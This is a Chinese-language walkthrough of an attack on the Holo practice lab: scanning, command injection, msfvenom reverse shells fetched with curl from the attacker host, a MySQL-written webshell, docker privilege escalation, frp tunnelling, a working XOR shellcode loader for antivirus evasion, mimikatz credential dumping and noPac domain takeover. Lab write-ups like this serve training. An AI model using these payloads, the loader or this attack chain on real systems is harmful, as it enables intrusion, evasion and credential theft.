记一次有趣的复杂靶场渗透
字数 1400 2025-08-24 07:48:10

复杂靶场渗透实战教学:Holo靶场渗透过程详解

1. 信息收集阶段

1.1 端口扫描

使用TideFinger工具进行全端口扫描:

/TideFinger_Linux -h 10.200.112.33 -p 1-65535

发现高端口存在无认证的SOCKS5代理,可能后续有用。

1.2 WordPress枚举

使用nuclei工具识别WordPress版本:

nuclei -tags wordpress -u http://10.200.112.33/ -rl 10

1.3 虚拟主机发现

使用ffuf进行虚拟主机爆破:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.holo.live" -u http://10.200.112.33/ -fs 21456
  • 速度约50个/秒
  • 将发现的虚拟主机添加到hosts文件

1.4 目录扫描

发现robots.txt文件,获取到绝对路径信息。

2. 漏洞利用阶段

2.1 任意文件读取

利用任意文件读取漏洞获取creds.txt凭据文件:

  • 由于vhost在同一台机器上,可以读取其他虚拟主机的文件

2.2 命令注入

在源代码中发现被注释的命令注入点:

//if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']

通过给cmd参数执行命令。

2.3 获取交互式shell

使用msfvenom生成payload:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.50.109.210 LPORT=9001 -f elf -o reverse.elf

通过curl下载并执行:

curl http://10.50.109.210:8101/reverse.elf -o /tmp/agent

2.4 提权尝试

尝试多种提权方法均失败:

exploit/linux/local/apport_abrt_chroot_priv_esc
exploit/linux/local/cve_2021_3493_overlayfs
exploit/linux/local/cve_2022_0995_watch_queue
exploit/linux/local/su_login

2.5 数据库访问

在/var/www目录下发现flag和数据库配置信息:

  • 使用获取的凭据连接数据库
  • 通过msf搭建socks代理:
proxychains mysql -u admin -p -h 192.168.100.1

写入webshell:

select '<?php phpinfo()?>' INTO OUTFILE '/var/www/html/test.php';

2.6 SUID提权

使用linpeas发现SUID提权向量:

  • 利用docker进行提权:
sudo install -m =xs $(which docker) ../docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  • 由于非交互式TTY失败,改用:
python3 -c 'import pty; pty.spawn("/bin/bash")'

2.7 密码破解

读取/etc/shadow文件,使用hashcat破解:

hashcat -m 1800 -a 0 hash.txt rockyou.txt

获取明文密码:linuxrulez,用户名为linux-admin

3. 内网横向移动

3.1 内网扫描

发现新资产:

  • 10.200.108.35 (PC-FILESRV01)
  • 10.200.108.30 (DC-SRV01, 域控)
  • 10.200.108.31 (S-SRV01)

3.2 代理搭建

使用frp搭建稳定代理:

  • 服务端配置:
./frps -c frps.ini
[common]
bind_port = 7000
token = Yuzusoft
tls_enable = true
  • 客户端配置:
[common]
token = Yuzusoft
disable_custom_tls_first_byte = true
server_addr = 127.0.0.1
server_port = 7000
tls_enable = true
[socks5]
remote_port = 5444
plugin = socks5

3.3 逻辑漏洞利用

发现重置密码功能存在逻辑漏洞:

  • 从MySQL数据库中找到gurag用户
  • 返回包中包含token,可直接用于认证

3.4 文件上传Getshell

绕过前端过滤上传PHP webshell:

  • 上传到images目录
  • 获取system权限

3.5 免杀技术

生成免杀木马:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.31.41 LPORT=8888 -f raw -o test.txt

使用C++编写的分离式shellcode加载器:

#include <iostream>
#include <fstream>
#include <vector>
#include <Windows.h>

char Key[7] = { 'Y', 'U', 'Z', 'S', 'O', 'F', 'T' };

void decrypt(std::vector<unsigned char>& encryptedData) {
    int keyIndex = 0;
    for (size_t i = 0; i < encryptedData.size(); ++i) {
        encryptedData[i] = encryptedData[i] ^ Key[keyIndex];
        keyIndex = (keyIndex + 1) % 7;
    }
}

int main() {
    std::ifstream file("log.txt", std::ios::binary);
    std::vector<unsigned char> shellcode;
    
    if (file) {
        file.seekg(0, std::ios::end);
        size_t size = file.tellg();
        shellcode.resize(size);
        file.seekg(0, std::ios::beg);
        file.read(reinterpret_cast<char*>(shellcode.data()), size);
        file.close();
    }
    
    Sleep(35000);
    decrypt(shellcode);
    
    LPVOID allocMem = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(allocMem, shellcode.data(), shellcode.size());
    
    typedef void (*ShellcodeFunction)();
    ShellcodeFunction func = (ShellcodeFunction)allocMem;
    func();
    
    VirtualFree(allocMem, 0, MEM_RELEASE);
    return 0;
}

3.6 凭据获取

使用mimikatz转储密码哈希:

load mimikatz
kiwi_cmd sekurlsa::logonpasswords
  • 注意32位进程无法访问64位进程,需迁移
  • 获取明文凭据:用户watamet,密码Nothingtoworry!

4. 域控攻击

4.1 NoPAC漏洞利用

利用CVE-2021-42278和CVE-2021-42287组合漏洞:

proxychains python3 sam_the_admin.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.107.30 -shell

使用获取的TGT进行认证:

KRB5CCNAME='Administrator.ccache' proxychains /usr/bin/impacket-smbexec -target-ip 10.200.107.30 -dc-ip 10.200.107.30 -k -no-pass @'dc-srv01.holo.live'

4.2 Zerologon检测

使用mimikatz检测Zerologon漏洞:

kiwi_cmd lsadump::zerologon /target:10.200.107.30 /account:Administrator

靶场已修复该漏洞。

5. 总结与经验

  1. 工具选择

    • MSF在提权方面表现优异,解决了不同环境的兼容性问题
    • frp比cs在Linux入口更稳定
  2. 渗透流程

    • 找RCE → 找数据库密码 → 逃逸容器 → 搭建代理 → 免杀 → 攻击域控
  3. 权限维持

    • 需要熟悉常见权限维持技术,对红蓝队都很重要
  4. 经验教训

    • 断网后需要重新搭建代理,耗时耗力
    • 免杀技术需要多准备几种方案
    • 域渗透需要掌握多种攻击方法,单一方法可能失效
  5. 后续学习

    • 深入学习MSF的高级功能
    • 学习Sliver等新型C2框架
    • 研究更多权限维持技术
复杂靶场渗透实战教学:Holo靶场渗透过程详解 1. 信息收集阶段 1.1 端口扫描 使用TideFinger工具进行全端口扫描: 发现高端口存在无认证的SOCKS5代理,可能后续有用。 1.2 WordPress枚举 使用nuclei工具识别WordPress版本: 1.3 虚拟主机发现 使用ffuf进行虚拟主机爆破: 速度约50个/秒 将发现的虚拟主机添加到hosts文件 1.4 目录扫描 发现robots.txt文件,获取到绝对路径信息。 2. 漏洞利用阶段 2.1 任意文件读取 利用任意文件读取漏洞获取creds.txt凭据文件: 由于vhost在同一台机器上,可以读取其他虚拟主机的文件 2.2 命令注入 在源代码中发现被注释的命令注入点: 通过给cmd参数执行命令。 2.3 获取交互式shell 使用msfvenom生成payload: 通过curl下载并执行: 2.4 提权尝试 尝试多种提权方法均失败: 2.5 数据库访问 在/var/www目录下发现flag和数据库配置信息: 使用获取的凭据连接数据库 通过msf搭建socks代理: 写入webshell: 2.6 SUID提权 使用linpeas发现SUID提权向量: 利用docker进行提权: 由于非交互式TTY失败,改用: 2.7 密码破解 读取/etc/shadow文件,使用hashcat破解: 获取明文密码: linuxrulez ,用户名为 linux-admin 3. 内网横向移动 3.1 内网扫描 发现新资产: 10.200.108.35 (PC-FILESRV01) 10.200.108.30 (DC-SRV01, 域控) 10.200.108.31 (S-SRV01) 3.2 代理搭建 使用frp搭建稳定代理: 服务端配置: 客户端配置: 3.3 逻辑漏洞利用 发现重置密码功能存在逻辑漏洞: 从MySQL数据库中找到gurag用户 返回包中包含token,可直接用于认证 3.4 文件上传Getshell 绕过前端过滤上传PHP webshell: 上传到images目录 获取system权限 3.5 免杀技术 生成免杀木马: 使用C++编写的分离式shellcode加载器: 3.6 凭据获取 使用mimikatz转储密码哈希: 注意32位进程无法访问64位进程,需迁移 获取明文凭据:用户 watamet ,密码 Nothingtoworry! 4. 域控攻击 4.1 NoPAC漏洞利用 利用CVE-2021-42278和CVE-2021-42287组合漏洞: 使用获取的TGT进行认证: 4.2 Zerologon检测 使用mimikatz检测Zerologon漏洞: 靶场已修复该漏洞。 5. 总结与经验 工具选择 : MSF在提权方面表现优异,解决了不同环境的兼容性问题 frp比cs在Linux入口更稳定 渗透流程 : 找RCE → 找数据库密码 → 逃逸容器 → 搭建代理 → 免杀 → 攻击域控 权限维持 : 需要熟悉常见权限维持技术,对红蓝队都很重要 经验教训 : 断网后需要重新搭建代理,耗时耗力 免杀技术需要多准备几种方案 域渗透需要掌握多种攻击方法,单一方法可能失效 后续学习 : 深入学习MSF的高级功能 学习Sliver等新型C2框架 研究更多权限维持技术